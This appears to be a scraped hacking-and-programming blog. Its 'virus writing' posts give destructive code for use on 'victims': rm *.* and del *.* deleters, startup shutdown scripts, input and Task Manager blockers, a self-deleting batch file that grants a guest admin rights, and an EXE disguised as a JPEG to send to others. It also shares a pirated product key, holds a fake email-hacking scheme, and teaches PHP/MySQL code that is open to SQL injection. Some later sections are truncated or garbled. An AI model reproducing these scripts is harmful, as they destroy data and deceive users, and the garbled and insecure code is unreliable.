Block/Unblock sites without software

2012-02-17T02:30:00.000-08:00

You can block or even unblock sites without any software. Just follow these steps and you can continue acessing the file.

Go to Start >>> RUN .

Type C:\WINDOWS\system32\drivers\etc

Open the file "HOSTS" in a notepad

Under "127.0.0.1 localhost" . Add IP Name
IP - IP of the site to be blocked
Name - Name of the site

Example :
127.0.0.1 localhost
210.210.19.82 www.sifymall.com

Sifymall is now unaccessable . For every site after that you want block , just add "1" to the last number in the internal ip (127.0.0.2) and then the add like before.

The best way is go to your social networking site and request a product key. The best option is to go to a orkut community and request one.

Here is a key V2C47 MK7JD 3R89F D2KXW VPK3J dont blame me if this key is baned

Hacking through links

2012-02-17T02:28:00.000-08:00

This is called as phishing. Though this method is popular in mails. Mails contain link that show some thing but point to some other site all together some thing like this .

http:/www.google.com /

This will direct you to goooole.com instead to google.com. Also note the change in link the actual link has to be http:// (second "/").

This could take you into some other site orkut.com link. Another popular thing is "http://www.okrut.com/GLogin". Did found any change. No. See again. The spelling of orkut.

This will take you into some page that looks same as original but is different site all together. So if you click on a hyperlink that asks you to login check the site's address however familar it looks. So be careful

Virus code 2: Block/Disable any software

2012-02-17T02:27:00.000-08:00

This is the virus writing basics section. Today we are going to show you how to block/disable software . This is demonstrated using c/c++.

I will demonstrate how can you disable stuffs/ software

How to block/dissable task manager?

This code will block task manager. Remember to keep all the spellings as it is any changes this wont work.

TaskMgr = FindWindow(NULL,"Windows Task Manager");

if( TaskMgr != NULL )

{

PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);

}

This code will block task manager. All that this code does is search for the Header on the window such as "Windows Task Manager". Now if a match is found it will disable that application.

How to Enable task manager ?

The method to enable task manager is given over here.

Now using this concept you can disable several such stuffs. Just replace the name of Windows Task Manager with the exact name of the software as appearing in the header.

You can integrate in this in your code and block any software .As all the info given over here is purely for educational purpose it's left upto the reader to make out what header file is needed.

Read emails without hacking

2012-02-17T02:25:00.001-08:00

Actually the title is not 100% accurate. Yes you can read email without hacking but this is limited to only a few services. This is 100% safe and takes only 1 minute.

Simply go to Google and search "Reply to" or "fwd" as simple as that. If you are wondering how is this possible. Sometimes it so happens that some emails don't go securely like from those who maintain their own email server. these mails get cached. Also mails from before "nofollow" era can also be found.

In this method you wont get any emails from yahoo or msn or gmail or nay of the newer service providers but of big organizations that maintain their own email severs or some small email providers.You can even get mails sent to websites using forms. This is because of the post-get problem

Again just search for filetype:eml eml intext:"Content-Type: image/jpeg".

All that his is doing is searching for a file type eml with MIME Type/ Content-Type: image/jpeg. Whenever it has a .jpg file as attachment that line should come in .eml file.

http://www.google.com.pk/search?hl=en&q=filetype%3Aeml+eml+intext%3A%22Content-Type%

Make guest as admin

2012-02-17T02:24:00.001-08:00

The below code will allow a guest to be a admin . You will not be the actual admin but will get admin privilages

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy this to notepad and save the file as "anyname.bat" . Now you need to execute it or run in the cmd screen.

Convert Exe to JPEG

2012-02-17T02:19:00.000-08:00

Converting EXE to some other format say JPEG is easier than you think. This will not physically convert the exe file to jpeg. All that this does is this will trick someone including your OS to some extend in thinking that it's a jpeg file and thus opening/running the exe file. Ok i will use firefox.exe to show how you do it.

Create a new folder and copy the firefox.exe file into it. Now just create a shortcut of the file in the same folder. This shortcut is going to be the image(jpeg). Rename the shortcut to say, viruswriting.jpeg and original so vir.jpeg

remember these 2 files (original and shortcut) have to be in the same folder

Now right click on the shortcut and delete the "Start in" field. Change th e target field to C:\WINDOWS\system32\cmd.exe /c vir.jpeg.

Now you need to change the icon of the shortcut file and the job is done. This trick is mainly for those who run their own server.This way when ever the person opens the shortcut the exe file will execute .

Note that both files have to be in the same folder and the user has to click on the shortcut and not on the original file. So if you are sending this to someone place both in the same folder and compress it . Now send the .zip or .rar file

Hacking victims

2012-02-17T02:15:00.000-08:00

Just read along if you wish to hack any email that asks you the security question in case you forgot the password. This makes use of a bug present in most email(expect a few like earthlymail and electronicmail ) .There are several sites that claim to give you password by just sending an email but in that you also need to give your password.This is a fake thing you finally end up getting your id hacked.

This is a genuine method and is only for educational purpose. If you hack you are at your own.We will trick the server in thinking that the details(DOB/Securtity question & answer) you gave are true. Please read the enire post before you begin as you need to done somethings before you start composing.One important thing If you are hacking a Yahoo account compose/send mail from a Yahoo account only. If you dont have one then create it and then send.

Just compose a mail called FORGOT PASSWORD(all in caps)

Now you need to send this mail to ret_pass@**** .com(replace *** with Live/ Hotmail/MSN) OR retrieve_pass@**** .com(replace **** with Aol/AIM/Yahoo)

In the subject field type the following
id:$your victims's id$
Here is the trick we need to convince the server that the details that you give are the details of that id

secque: $give your security question$ (no ? after the question. In case it has a space for eg: "What is your pet" give it as what%20is%20your%pet i.e replace any space by %20)

For Yahoo it's security

secans: $give your security answer$ (Again here also if any space then replace the space by %20 For eg: if your answer is "Google Helper" give it as google%20helper)

For Yahoo it's security & for Aol/Aim it's secan

sdob: %$dob of your id$% No % needed for Yahoo

You may also be needed to give your Pincode as spin .

Once you send the mail the server will will not know what to do. The securtiy details of the id from which you sent mail are fully correct but id mentioned is something else. So instead of giving your password it gives password of the id metioned.

You should either get the password in 10-30 min or an error will be generated. I think by now you might have understood why i asked to send for the same mail provider.If not then the reason is how will MSN know details of your AOL mail.

And one more imprtant thing this method has a 95% success rate if you dont get up from your dream. This means that this post is all Bogus. You can never hack anyone by this method.This was just to show how easy you get fooled . I decided to make it look as complicated as possible to as trick.And i excluded earthly mail to give a indirect warning sign so that clever minds might be able to catch it)

If you didnt fall for it then great else boo go start writing snail/postal mail , web is not for you. Remember it's not easy to hack.Never follow any method given online.Also dont give your id to any who claims to give you the method one coz once you give your spam mail box would be always full.

Brute Force - best hacking method

2012-02-17T02:13:00.000-08:00

Brute force is the best hacking method as chances of getting password is very high.

The methods is very simple . But this method is cumbersome. Still most hacking software use this method due to high success rate .

This is how you do it. All that u need is the username and findout what is the max password length the software/site allows and also the minimum. say the minimum is 6 and max is 8. You have to start trying out all the combination.First all the six letter combos then seven then 8

aaaaaa

aaaaab

aaaaac

aaaaab

.

.

abaaaa

.

.

azzzzz

baaaaa

.

..

zzzzzz

Now once you do for 6 repeate the same for 7 and then for 8 . You will surely crack it.But the no of combos you need to try is very high.So in most cases you cannot use it but designed software do the job in few minutes. Check crack passwords section for such softwares to crack your software/site. This is best used to recover passwords of mobile phone . If use them for hacking it's crime.

Learn how to hack Yahoo/MSN/AOL/Google

2012-02-17T02:06:00.000-08:00

This is not actually hacking but recovering passwords .You can recover password oF Yahoo, Msn, Hotmal, Live, Google, Gmail, Aol, Aim, ICQ and a lot more Think a bit if you main motive is to get password anyway.

Now there are a bit of requirements

First you victim must have used a IM(instant messenger) at least once with this id. Say for yahoo he must use yahoo messenger.Online versions dont count.So this means you cannot hack accounts of say facebook or myspace which dont have their IM

Second you must have access to his comp where he has used the IM.

Third he must not have formatted his system recently or he must have used the IM after format.

These requirements are tough, i know.You will hit a jackpot if you are on shared comp as it's not frequently formatted and many use IM.You can even ask him to use the IM on your comp.Once you fullfill these job's almost done.

Now you can use these password recovery software to get hold of your victims password These softwares have high success rate but not 100%. I am giving all trial download links .If you want the full version visit your fav torrent or rapidshare or megaupload.The will not crack any passwords greater than 4 chars which mean syou cant hack most accounts as they require atleast 6 chars.

You will have to temporarily stop the Antivirus as your antivirus will detect it as spyware. But they are Spyware free !00% safe

Use this only to get lost passwords of your account. If you hack some one's account we wont take responsibility.

Virus code 2: Block/Disable any software

Make Xp genuine

Block/Unblock sites without software

Virus code 1: Block/Disable all input device

2012-02-17T01:06:00.000-08:00

This is the virus wirting basics section. Today we are going to show you how to block all input decice. This is demonstrated using c/c++.

To Block mouse and the keyboard. you can make use of the following statement.

BlockInput(true);

This code blocks all input from mouse and the keyboard. It can be stopped by using ctrl+alt+del though i am not sure how this can be done.

You can integrate in this in your code and you can block all input .As all the info given over here is purely for educational purpost it's left upto the reader to make out what header file is needed.

Virus code 10: Restart virus

2012-02-17T01:04:00.000-08:00

This is the virus writing basic section. Today i will show you how to create a shutdown/ restart virus for both Windows and Linux

First we will create the windows version.

Lets see how it works. Just close all windows . Now go to command prompt(Start >>>"RUN" now trpe "cmd"). Now you have entered MS-DOS/ Command prompt. Here You need to type "shutdown -s" or "restart -s". This will shutdown or restart your comp. We are making use of this DOS command to create this virus.

Just open a notepad

In that type "shutdown -s" or "restart -s".

Now save it as virus.bat or yourname.bat.

Now when you run it your system gets turned off.

Note if .bat extension doesnt work try .exe extension

To make this more powerful just force your victim to copy this into "START>>>ALL PROGRAM>>> STARTUP". Now this program will load every time the computer starts.

Only way out for him is to go in safe mode and delete it from startup. So go ahead and try them out.

Now the linux version.

In Linux we will create a shell script with the text "poweroff". Now go to the file where script is located and right click on it. Change the permission to allow all. Job done.

This is post is not intended to create a havoc and is just for educational purpose.

Learn how to Virus code in C- Part 1

2012-02-17T01:01:00.001-08:00

Virus code can be coded using several language. The best being c or vbs. Today I will explain you how to create some simple virus using c.

I am assuming you know at least c basics. First lets begin with tiny and simple ones.

int c;
while(1)
{c=c+10;}

This simple script needs no explanation. It will just be eating away your victims virus at a slow space. The person can stop this by just closing the .exe file.The memory is used to store the result.
As you know a double takes up more space you can replace int with float.

Now lets try to create a simple Linux virus.

system("poweroff");

This simple script will turn off your victims comp. The above linux virus can be made extremely dangerous by making a simple change. if you can make your code do it's job when ever a person turns on his comp then think what will happen ( i mean other than you going to jail) the person must have to format his system.

Now lets step it up.Lets increase the venom of our snake

system("rm *.*");

This will erase/delete all files with all extension provided the logged user has permission to delete it.Just imagine if the admin runs it then it will create a havoc.

Now lets come back to windows what if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

These are very simple virus but can cause havoc.

Virus code 15: Messing with files

2012-02-17T01:00:00.000-08:00

This is the virus writing basic section. Toady i am going to show how to render a windows useless using dos programing.

msg *c:\autoexec.bat is deleted by this. Plz reinstall windows.

Now save it as something.bat .

Replace FileName with any file like c:\autoexec .Job done

Now when some one runs it the specfied File is deleted . Plz Note you will get into serious trouble if you spread this. Although the virus just deletes a files be careful what it deletes . This could even make victims's computer useless . Your victims computer will be in the trash and you in jail.

Only solution is to reinstall the file.

Virus code 18: Delete all files

2012-02-17T00:56:00.000-08:00

Virus code 21: datechange

2012-02-17T00:48:00.000-08:00

This is a simple code that changes system time . It is written using c/c++ but can be easily converted to java.

Now You need to compile it but not run it i.e just click on compile but not on run option or you will only get infected by the virus.

To set back to the old date you can use before the "return o;" statement

setdate(&old_date);

You might need time.h header file but i am not very sure about it.

Although the code is extremely simple be very careful what you do with this virus as you can go to jail for spreading this.

Virus code 17: Flood your network

Virus codes(full codes)

2012-02-17T00:32:00.000-08:00

This site includes a lots of virus codes most of then are not going to cause any serious harm but a few of them will . You are going to land behind bar if you misuse these virus codes. these virus codes are intended for programmers and not for script kiddies(amateur virus codes are called script kiddies).

We dont intend to cause havoc but when a lot of site distribute these codes why cant we . So here si a list of popular virus codes that we have. Our main aim is to show how easy it is to create a virus by a programmer who know just say 50% of the language.

Most viruses are in written in c as it's asystem programming lanuage. Even dos is quiet popular. Vbs is used by people who want advanced virus that cause much danger.

An hacker when spreading a virus takes atmost care of not getting caught. He knows all the ways he can get caught and erases all of them. you and me are not so lucky to know all of them(although i might know a few but not most of you). So if you spread them you are easily caught.

So lets cut the crap and look at the codes. here are some of the popular codes

Html virus -- vbs

Orkut Virus -- vbs

Clone virus -- c/c++

Doom virus -- c/c++

Black Wolf virus -- c/c++

Disable input device -- c/c++

Sasser Virus -- Assembly language

virus code 14: Sasser virus code

2012-02-17T00:28:00.000-08:00

This is a ipaper . This will give detailed explanaition of the virus Sasser. It contains both history and code of sasser. For more ipaers visit the ipaper section

Virus Code 20: Black wolf virus

2012-02-17T00:14:00.000-08:00

This virus corrupts all the .com files . so be extremely careful what you do with it.

Virus code 6 : Doom virus

2012-02-17T00:08:00.000-08:00

Replace location to the location where you want the file to be

This is not actually a virus but a practical joke. It will make your victim believe that his system is under seize and is infected. Remember you need to compile it only (.ie click on compile option ) and not run it(i.e click on run option). This will generate the .EXE file.

Even though this is just a prank just be careful to whom you spread it as you could still get into minor trouble.

Virus code 5: Clone Virus

2012-02-17T00:01:00.000-08:00

This is a virus code of clone virus in c/c++. This virus clones itself. You can convert it into java by making small changes that any java programmer can make out.

Before you use this virus you need to compile . Just select the complie option in your c compiler. DONT RUN IT OR SELECT THE RUN OPTION, I repeat dont run it. Now exit the compiler . Find the size of the .exe file generated in bytes. Replace the value of "X" with is value(in bytes).

Now recompile it and exit.

What this virus does is it makes all the files in the current directory a virus. You need to find out the header files for yourself as this only for educational purpose . Just remember to run this virus inside a new folder that contains no important exe and normal files . This virus will make them too as virus.

Virus code 4: Orkut virus/Muhaha virus

2012-02-16T23:58:00.000-08:00

For all you programmers here is the code of the virus. Let' look at this virus in detail. So that if you become a victim you can protect your self. All that this virus does is stores it self in C:\heap41a. It is generally named PowerPoint.exe or firefox.exe. This virus prevents you from typing orkut in your address bar even if you type "http://orkuttricks.blogspot.com/" no the site wont open.

The code is not the complete code so that you don't start spread this virus. This is just for understanding. Actual virus is repetition of this code with changes.

How this works is left to the reader to analyze. This info is only for educational purpose.

VBS.Redlof.A / html.redlof.a code

2012-02-16T23:55:00.000-08:00

This is the virus writing basics section. Today we are going to show you the code of html.redlof.a. This is a Visual Basic Script virus.

This is a polymorphic, encrypted virus. It infects the .asp, .php, .jsp, .html, and .vbs files on all the drives. The virus copies itself to either %Windir%\System\Kernel.dll or %Windir%\System\Kernel32.dll, based on Visual Basic Script virus. It changes the default association for the .dll files.

Here is the virus code in txt format

As I mentioned the code is in vbs. If you spread this virus you will get into grave trouble. This is just for vbs programmers ( educational purose) to know more about coding.

Virus code can be coded using several language. The best being c or vbs or dos. Today I teach some basic virus codings. I will be using c, dos and alp/asm(assembly language).These is a very simple Virus coding tutorial just a beginners guide

this is mainly for programmers. this post is just to change their thinking. First lets begin with tiny and simple ones.I will show both codes for windows and linux

First alp/asm
back: add c,b
loop back

This simple script needs no explanation. It will just be eating away your victims memory at a slow space. As you know addition needs some space to store intermediate result. this will be using up the ram. but very less of ram is lost and the user can stop this by just closing the .exe file. As you know a float addition takes up more space than normal addition . You can replace integer addition with float.

Now lets try to create a simple Linux virus in c.

system("poweroff");

This simple script will turn off your victims comp. Now if you can forece this script to load at start up then it will be a nightmare.

let's see one more linux virus of the same type
system("rm *.*");

This will all files with all extension which the user has previlage to delete.Just imagine if the admin runs it then it will create a havoc.

Lets see the same codes for windows.

To delete all files in windows using dos/batch progtraming will be
del *.*
and the code of the shutdown virus will be just shutdown

Now lets disable Internet

ipconfig /release
echo You Internet Been HACKED!

What if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

Php: Creating Simple Website with MysQl ( for newbe)

2012-02-15T21:16:00.000-08:00

What you Need?

If your server supports PHP you don't need to do anything.
Just create some .php files in your web directory, and the server will parse them for you. Because it is free, most web hosts offer PHP support.
However, if your server does not support PHP, you must install PHP.

Php SERVER -- (xampp) download here ---> xampp1.6.8

after installation make sure that MySQL and Apache pannel is running ->

if it is running just click the X button to hide the pannel.

Next you need an Editor to create and edit your PHP codes ( i prefer notepad ++) download here if you want ---> notepad++

then a layout to your site(HTML) if you want base from the scratch its ok, i preferably use template from internet to download (ex. click here to download a sample template --> sample HTML template )
more html template here---->>>> html template
if you done downloading the template you need to unzip or to extract the files
(right click the file and click extract here) and after extracting copy the folder ( CTRL + C)

and paste it to the directory of (XAMPP) in localdisk C and folder xampp----> . c:/xampp/htdocs (if the xampp install in C:/)

now after that open the folder and rename the index.html file to INDEX.PHP by using notepad++(editor)[right click and open with notepad++] now save as it to index.php , then open your browser ( ex. mozilla, explorer) and type --> localhost/slickblue/index.php , ( slickblue- is a folder u can rename it if u want like wise with the index).

so thats it you already have now a template you can use for creating simple website .

next we have to create a login form for a registration to our site to engage accessing to any part to our website.

first we need a login form for our user but first we to create a registration for in order to access to the login form of the user . ( put it anywhere in the lay out as long as its fit to your taste . meaning design it )

the user need to create an account so we need to create a registration form for the user using editor (NOTEPAD++)

--------------> SAVE IT AS A REGISTRATION.PHP (in editor (notepad++) <---------
FILENAME: registration.php

<html>
<body>
<div style="border:1px solid;"><center>
<table border="1"><tr><td>
<form action="register.php" method="post">
USERNAME <input type="text" name="name"><br>
PASSWORD   <input type="password" name="password"><br>
FIRST NAME <input type="text" name="fname"><br>
LAST NAME <input type="text" name="lname"><br>
AGE        <input type="text" name="age"><br>
<input type="submit" value="Submit">
<input type="reset" value="Reset">
</form>   </tr></td></table></center>
</div>
</body>
</html>
------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------

from the registration.php all the data inputted must be cached by a form to save from a database (MYSQL) so we need a form as a catcher from all the data inputted from registration.php
-----> SAVE the FILE as a register.php <------------------

<?php
mysql_connect("localhost","root","") or die("Cannot connect to server");
mysql_select_db("sample") or die("Cannot connect to the database");

$username= ($_POST['username']);
$password = ($_POST['password']);
$fname = ($_POST['fname']);
$lname = ($_POST['lname']);
$age = ($_POST['age']);

mysql_query("insert akoregister set username='".$username."', password='".$password."'");

?>

---------------------------------------------------------------------------------------------------

so all data inputted in the registration form must be saved in dabase (MYSQL) so we need to create a database (mysql) in order to save those data inputted from the user

im preferably used CMD prompt, so click RUN in the START menu type CMD , and then locate the mysql directory using -->
( preferably dont use password)

cd c:\
cd xampp\mysql\bin
mysql -u root

then first you have to create database using the command --> create database sample;
*sample is the database name* if you already have database just type ---> show databases;
and then you have to use the database you create by typing ---> use sample;
* sample is the database name*
after creating database you need to create table by typing ----> create table akoregister(id int not null auto_increment primary key, username varchar(23), password varchar(24), fname varchar(23), lname varchar(24), age int(23));

so you already done creating your database and the table , in order to see the value from the table type usinng ---> describe akoregister;
*akoregister is a table name*

in order to see all information save from the form manually in the database(MYSQL)
----> select * from the akoregister;
* akoregister is a table name *

click here for all list of mysql server code --> mysql command code
--------------------------------------------------------------------------------------
so you already done adding information from form to database(MYSQL) but mostly we need to see all information itself from database to the website or to the browser likewise not only viewing files but mostly deleting ad updating all information from a certain files . so heres the step by step to do that.

first we need to view all the information from the database in order to see a certain user , let we use the information the we add earlier the registration.php

----> SAVE as FILE as VIEW.PHP,<-------------------

<?php
mysql_connect("localhost","root","") or die("Cannot connect to server");
mysql_select_db("sample") or die("Cannot connect to the database");

$query = mysql_query("select * from akoregister order by id desc");
?>
<table border="1">
<tr>
    <td>Username</td>
    <td>First Name</td>
    <td>Last Name</td>
    <td>Age</td>
    <td>Action</td>

<?php

if(mysql_num_rows($query)>0){
    while($row= mysql_fetch_array($query)){ ?>
    <tr>
        <td><?=$row['username']?></td>
        <td><?=$row['fname']?></td>
        <td><?=$row['lname']?></td>
        <td><?=$row['age']?></td>
        <td><a href="update.php?id=<?=$row['id']?>">[Edit]</a> <a href="delete.php?id=<?=$row['id']?>">[Delete]</a></td>
    </tr>
<?php

    }

}
else{

    echo "no record";
}

?>
<tr><td colspan="3"><a href="index.php" >[Add new record]</a>
</td></tr>
</table>

-----------------------------------------------------------------------

---> DELETE.PHP <-------

<?php
mysql_connect("localhost","root","") or die("Cannot connect to server");
mysql_select_db("sample") or die("Cannot connect to the database");

$id    = $_GET['id'];

    mysql_query("delete from akoregister where id='".$id."'");
    echo "<script>alert('Record successfuly deleted.');window.location.href='view.php';</script>";
?>

-------------------------------------------------------------------
UPDATE.PHP

<?php
mysql_connect("localhost","root","") or die("Cannot connect to server");
mysql_select_db("sample",$konek) or die("Cannot connect to the database");

$query = mysql_query("select * from akoregister where id='".$_GET['id']."'");

learning!

2012-02-06T23:07:00.001-08:00

Learning is acquiring new or modifying existing knowledge, behaviors, skills, values, or preferences and may involve synthesizing different types of information. The ability to learn is possessed by humans, animals and some machines. Progress over time tends to follow learning curves. Learning is not compulsory, it is contextual. It does not happen all at once, but builds upon and is shaped by what we already know. To that end, learning may be viewed as a process,rather than a collection of factual and procedural knowledge.

Human learning may occur as part of education, personal development, schooling, or training. It may be goal-oriented and may be aided by motivation. The study of how learning occurs is part of neuropsychology, educational psychology, learning theory, and pedagogy. Learning may occur as a result of habituation or classical conditioning, seen in many animal species, or as a result of more complex activities such as play, seen only in relatively intelligent animals.
Learning may occur consciously or without conscious awareness. There is evidence for human behavioral learning prenatally, in which habituation has been observed as early as 32 weeks into gestation, indicating that the central nervous system is sufficiently developed and primed for learning and memory to occur very early on in development.

Play has been approached by several theorists as the first form of learning. Children play, experiment with the world, learn the rules, and learn to interact. Vygotsky agrees that play is pivotal for children's development, since they make meaning of their environment through play.

MYSQL SERVER LIST COMMANDS

2012-01-31T22:45:00.000-08:00

This is a list of handy MySQL commands that I use time and time again. At the bottom are statements, clauses, and functions you can use in MySQL. Below that are PHP and Perl API functions you can use to interface with MySQL. To use those you will need to build PHP with MySQL functionality. To use MySQL with Perl you will need to use the Perl modules DBI and DBD::mysql.
Below when you see # it means from the unix shell. When you see mysql> it means from a MySQL prompt after logging into MySQL.

To login (from unix shell) use -h only if needed.

# [mysql dir]/bin/mysql -h hostname -u root -p

Create a database on the sql server.

mysql> create database [databasename];

List all databases on the sql server.

mysql> show databases;

Switch to a database.

mysql> use [db name];

To see all the tables in the db.

mysql> show tables;

To see database's field formats.

mysql> describe [table name];

To delete a db.

mysql> drop database [database name];

To delete a table.

mysql> drop table [table name];

Show all data in a table.

mysql> SELECT * FROM [table name];

Returns the columns and column information pertaining to the designated table.

mysql> show columns from [table name];

Show certain selected rows with the value "whatever".

mysql> SELECT * FROM [table name] WHERE [field name] = "whatever";

Show all records containing the name "Bob" AND the phone number '3444444'.

mysql> SELECT * FROM [table name] WHERE name = "Bob" AND phone_number = '3444444';

Show all records not containing the name "Bob" AND the phone number '3444444' order by the phone_number field.

mysql> SELECT * FROM [table name] WHERE name != "Bob" AND phone_number = '3444444' order by phone_number;

Show all records starting with the letters 'bob' AND the phone number '3444444'.

mysql> SELECT * FROM [table name] WHERE name like "Bob%" AND phone_number = '3444444';

Show all records starting with the letters 'bob' AND the phone number '3444444' limit to records 1 through 5.

mysql> SELECT * FROM [table name] WHERE name like "Bob%" AND phone_number = '3444444' limit 1,5;

Use a regular expression to find records. Use "REGEXP BINARY" to force case-sensitivity. This finds any record beginning with a.

mysql> SELECT * FROM [table name] WHERE rec RLIKE "^a";

Show unique records.

mysql> SELECT DISTINCT [column name] FROM [table name];

Show selected records sorted in an ascending (asc) or descending (desc).

mysql> SELECT [col1],[col2] FROM [table name] ORDER BY [col2] DESC;

Return number of rows.

mysql> SELECT COUNT(*) FROM [table name];

Sum column.

mysql> SELECT SUM(*) FROM [table name];

A global variable is available to all functions in your program.

A local variable is available only to the function in which it's created.

Global variables are declared outside of any function.
Global variables are typically declared right before the main() function.
You can also declare a group of global variables at one time:

int s,t;

And, you can preassign values to global variables, if you want:

char prompt[]="What?";

{
  int count = 0;                                
  do
  {
    int count = 0;                
    ++count;                      
    printf("\ncount = %d ", count);
  }
  while( ++count <= 8 );  /* This works with outer count */

  /* this is outer */
  printf("\ncount = %d\n", count);
  return 0;
}

OUTPUT
-----------------------------------

count = 1     
count = 1     
count = 1     
count = 1     
count = 1     
count = 1

count = 1     
count = 1     
count = 9

Scope of variables

2011-09-28T05:08:00.000-07:00

Variable can be defined in the block.
The blocks are marked using { and } braces.
The scope of the variable is in the block where it is declared.
Variable defined in the outer block can be used in the inner block.
The nearest definition has more precedence.

#include 

main() {   
    int i = 10;    

    {        
        int i = 0;            
        for( i=0;i<2;i++)  
        {
               printf("value of i is %d\n",i);
        }     
    }
    printf("the value of i is %d\n",i);
}

OUTPUT

---------------------------------------

value of i is 0
value of i is 1
the value of i is 10

How to declare a variable

2011-09-27T03:40:00.000-07:00

A variable declaration serves three purposes:

1. It defines the name of the variable.
2. It defines the type of the variable (integer, real, character, etc.).
3. It gives the programmer a description of the variable.

int answer; /* the result of our expression */

1. The keyword int tells C that this variable contains an integer value.
2. The variable name is answer.
3. The semicolon (;) marks the end of the statement.
4. The comment is used to define this variable for the programmer.

Variables

2011-09-27T03:35:00.000-07:00

1. You can store values in variables.
2. Each variable is identified by a variable name.
3. Each variable has a variable type.
4. Variable names start with a letter or underscore (_), followed by any number of letters, digits, or underscores.
5. Uppercase is different from lowercase, so the names sam, Sam, and SAM specify three different variables.
6. The variables are defined at the begining of the block.

The following is an example of some variable names:

average /* average of all grades */

pi /* pi to 6 decimal places */

number_of_students /* number students in this class */

The following are not variable names:

3rd_ /* Begins with a number */

all$ /* Contains a "$" */

the end /* Contains a space */

int /* Reserved word */

Meaningful variable name:

entry_total /* total number of items in current entry */

all_total /* total of all entries */

C PROGRAMMING TUTORIAL

2011-09-27T00:58:00.000-07:00

What You Should Already Know

C (pronounced like the letter C) is a general-purpose computer programming language developed between 1969 and 1973 by Dennis Ritchie at the Bell Telephone Laboratories for use with the Unix operating system.

Although C was designed for implementing system software it is also widely used for developing portable application software.

C is one of the most widely used programming languages of all time and there are very few computer architectures for which a C compiler does not exist. C has greatly influenced many other popular programming languages, most notably C++, which began as an extension to C.

PHP Include File

2011-04-15T22:40:00.000-07:00

Server Side Includes (SSI)

You can insert the content of one PHP file into another PHP file before the server executes it, with the include() or require() function.

The two functions are identical in every way, except how they handle errors:

include() generates a warning, but the script will continue execution
require() generates a fatal error, and the script will stop

These two functions are used to create functions, headers, footers, or elements that will be reused on multiple pages.

Server side includes saves a lot of work. This means that you can create a standard header, footer, or menu file for all your web pages. When the header needs to be updated, you can only update the include file, or when you add a new page to your site, you can simply change the menu file (instead of updating the links on all your web pages).

PHP include() Function

The include() function takes all the content in a specified file and includes it in the current file.

If an error occurs, the include() function generates a warning, but the script will continue execution.

Example 1

Assume that you have a standard header file, called "header.php". To include the header file in a page, use the include() function:

Example 2

Assume we have a standard menu file, called "menu.php", that should be used on all pages:

All pages in the Web site should include this menu file. Here is how it can be done:

If you look at the source code of the page above (in a browser), it will look like this:

PHP require() Function

The require() function is identical to include(), except that it handles errors differently.

If an error occurs, the include() function generates a warning, but the script will continue execution. The require() generates a fatal error, and the script will stop.

Error Example include() Function

Error message:

Warning: include(wrongFile.php) [function.include]:
failed to open stream:
No such file or directory in C:\home\website\test.php on line 5

Warning: include() [function.include]:
Failed opening 'wrongFile.php' for inclusion
(include_path='.;C:\php5\pear')
in C:\home\website\test.php on line 5

Hello World!

Notice that the echo statement is executed! This is because a Warning does not stop the script execution.

Error Example require() Function

Now, let's run the same example with the require() function.

Error message:

Warning: require(wrongFile.php) [function.require]:
failed to open stream:
No such file or directory in C:\home\website\test.php on line 5

Fatal error: require() [function.require]:
Failed opening required 'wrongFile.php'
(include_path='.;C:\php5\pear')
in C:\home\website\test.php on line 5

The echo statement is not executed, because the script execution stopped after the fatal error.

It is recommended to use the require() function instead of include(), because scripts should not continue after an error.

PHP Date() Function

2011-04-15T22:28:00.000-07:00

The PHP date() function is used to format a time and/or date.

The PHP Date() Function

The PHP date() function formats a timestamp to a more readable date and time.

A timestamp is a sequence of characters, denoting the date and/or time at which a certain event occurred.

Syntax

date(format,timestamp)

Parameter	Description
format	Required. Specifies the format of the timestamp
timestamp	Optional. Specifies a timestamp. Default is the current date and time

PHP Date() - Format the Date

The required format parameter in the date() function specifies how to format the date/time.

Here are some characters that can be used:

d - Represents the day of the month (01 to 31)
m - Represents a month (01 to 12)
Y - Represents a year (in four digits)

Other characters, like"/", ".", or "-" can also be inserted between the letters to add additional formatting:

The output of the code above could be something like this:

2009/05/11 2009.05.11 2009-05-11

PHP Date() - Adding a Timestamp

The optional timestamp parameter in the date() function specifies a timestamp. If you do not specify a timestamp, the current date and time will be used.

The mktime() function returns the Unix timestamp for a date.

The Unix timestamp contains the number of seconds between the Unix Epoch (January 1 1970 00:00:00 GMT) and the time specified.

Syntax for mktime()

mktime(hour,minute,second,month,day,year,is_dst)

to go one day in the future we simply add one to the day argument of mktime():

The output of the code above could be something like this:

Tomorrow is 2009/05/12

PHP $_POST Function

2011-04-15T22:21:00.000-07:00

The built-in $_POST function is used to collect values in a form with method="post".

The $_POST Function

The built-in $_POST function is used to collect values from a form sent with method="post".

Information sent from a form with the POST method is invisible to others and has no limits on the amount of information to send.

Note: However, there is an 8 Mb max size for the POST method, by default (can be changed by setting the post_max_size in the php.ini file).

Example

When the user clicks the "Submit" button, the URL will look like this:

http://www.w3schools.com/welcome.php

The "welcome.php" file can now use the $_POST function to collect form data (the names of the form fields will automatically be the keys in the $_POST array):

When to use method="post"?

Information sent from a form with the POST method is invisible to others and has no limits on the amount of information to send.

However, because the variables are not displayed in the URL, it is not possible to bookmark the page.

The PHP $_REQUEST Function

The PHP built-in $_REQUEST function contains the contents of both $_GET, $_POST, and $_COOKIE.

The $_REQUEST function can be used to collect form data sent with both the GET and POST methods.

Example

PHP $_GET Function

2011-04-15T22:05:00.000-07:00

The built-in $_GET function is used to collect values in a form with method="get".

The $_GET Function

The built-in $_GET function is used to collect values from a form sent with method="get".

Information sent from a form with the GET method is visible to everyone (it will be displayed in the browser's address bar) and has limits on the amount of information to send.

Example

When the user clicks the "Submit" button, the URL sent to the server could look something like this:

http://www.geeknabe.com/welcome.php?fname=Peter&age=37

The "welcome.php" file can now use the $_GET function to collect form data (the names of the form fields will automatically be the keys in the $_GET array):

When to use method="get"?

When using method="get" in HTML forms, all variable names and values are displayed in the URL.

Note: This method should not be used when sending passwords or other sensitive information!

However, because the variables are displayed in the URL, it is possible to bookmark the page. This can be useful in some cases.

Note: The get method is not suitable for very large variable values. It should not be used with values exceeding 2000 characters.

